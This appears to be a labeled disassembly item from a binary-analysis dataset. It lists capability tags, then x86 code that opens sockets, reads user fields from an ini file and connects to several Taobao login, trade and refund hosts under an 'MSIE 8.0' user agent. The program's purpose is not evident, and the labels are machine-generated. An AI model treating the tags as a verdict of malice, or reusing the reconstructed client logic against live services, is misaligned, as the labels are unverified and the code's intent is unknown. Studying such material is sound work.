Function at 0x401000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect to http server
Connect udp socket
Create http request
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library
Inspect load icon resource
Read .ini file
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
push ebx
push esi
push edi
lea eax, [esp + 0x30]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.WS2_32.dll_socket]
push 0
mov eax, 0x11100002
push 2
lea ecx, [esp + 0x1b]
push 2
mov dword [0x41dba8], ecx
mov dword [0x40aad0], eax
mov dword [0x40aad4], 0x4a71933d
mov dword [0x41dbac], eax
mov dword [0x41dbb0], 0x807d4a
call esi
push 4
push 0x408dc8
push 0x1006
push 0xffff
push eax
mov dword [0x40a9a8], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edx, dword [0x40a9a8]
mov edi, dword [sym.imp.WS2_32.dll_connect]
push 0x10
push 0x40aad0
push edx
call edi
push 0
push 2
push 2
call esi
push 0x10
push 0x41dbac
push eax
mov dword [0x40aacc], eax
call edi
push 0x104
push 0x40a9b8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x40a9b8
push 0
sub eax, 3
push str.UserID
push str.UserInfo
mov dword [0x41dbc4], eax
mov dword [eax + 0x40a9b8], 0x696e69
call esi
push 0x40a9b8
push 0
push str.options
push str.UserInfo
mov dword [0x40a968], eax
call esi
push 0x40a9b8
push 0x1a
push 0x40a96c
push 0
push str.tbuser
push str.UserInfo
mov byte [0x40ab30], al
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0
push 0x402070
push 0
push 0x65
push 0x400000
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 1
push eax
mov dword [0x40a960], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [0x40a964], eax
push 0x65
push 0x400000
call dword [sym.imp.USER32.dll_LoadIconA]
push eax
push 1
mov dword [0x40ab9c], eax
mov eax, dword [0x40a960]
push 0x80
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x40a968]
mov edx, dword [0x40a960]
push 0
push ecx
push 0x3e9
push edx
call dword [sym.imp.USER32.dll_SetDlgItemInt]
test byte [0x40ab30], 1
mov edi, dword [sym.imp.USER32.dll_SetDlgItemTextA]
mov esi, dword [sym.imp.USER32.dll_SendDlgItemMessageA]
je 0x401208
push 0x40a9b8
push 0x1c
push 0x40a986
push 0x408e5c
pxor xmm0, xmm0
push str.UserInfo
movq qword [0x40a986], xmm0
mov word [0x40a98e], 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
mov eax, dword [0x40a960]
push 0x40a986
push 0x3ea
push eax
call edi
mov ecx, dword [0x40a960]
push 0x40a991
push 0x3ec
push ecx
call edi
mov edx, dword [0x40a960]
push 0
push 1
push 0xf1
push 0x3ed
push edx
call esi
mov eax, dword [0x40a960]
push 0x40a96c
push 0x3eb
push eax
call edi
mov ecx, dword [0x40a960]
push 0
push 0xa
push 0xc5
push 0x3ea
push ecx
call esi
mov edx, dword [0x40a960]
push 0
push 0x19
push 0xc5
push 0x3eb
push edx
call esi
mov eax, dword [0x40a960]
push 0
push 0x10
push 0xc5
push 0x3ec
push eax
call esi
push 0
push 0
push 0
push 1
push str.MSIE_8.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0
push 3
push 0x408dd5
push 0x408dd5
push 0x1bb
push str.login.taobao.com
push eax
mov dword [0x41dbcc], eax
call esi
mov ecx, dword [0x41dbcc]
push 0
push 0
push 3
push 0x408dd5
push 0x408dd5
push 0x50
push str.trade.taobao.com
push ecx
mov dword [0x40a9a4], eax
call esi
mov edx, dword [0x41dbcc]
push 0
push 0
push 3
push 0x408dd5
push 0x408dd5
push 0x50
push str.aq.taobao.com
push edx
mov dword [0x40a9ac], eax
call esi
push 0
push 0
push 3
push 0x408dd5
push 0x408dd5
push 0x50
mov dword [0x41dbc8], eax
mov eax, dword [0x41dbcc]
push str.refund.taobao.com
push eax
call esi
push 0
push 0
push 3
mov dword [0x40dba4], eax
push 0x408dd5
mov ecx, dword [0x41dbcc]
push 0x408dd5
push 0x50
push str.wuliu.taobao.com
push ecx
call esi
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea edx, [esp + 0x10]
push edx
push 0x49
push 0
mov dword [0x40dba0], eax
mov dword [esp + 0x1c], 0x40
call esi
push 4
lea eax, [esp + 0x10]
push eax
push 0x4a
push 0
call esi
push 4
lea ecx, [esp + 0x10]
push ecx
push 0x51
push 0
mov dword [esp + 0x1c], 3
call esi
push 4
lea edx, [esp + 0x10]
push edx
push 6
push 0
mov dword [esp + 0x1c], 0xbb8
call esi
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
je 0x4013c5
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [esp + 0x14]
push ecx
call edi
lea edx, [esp + 0x14]
push edx
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
jne 0x4013a6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret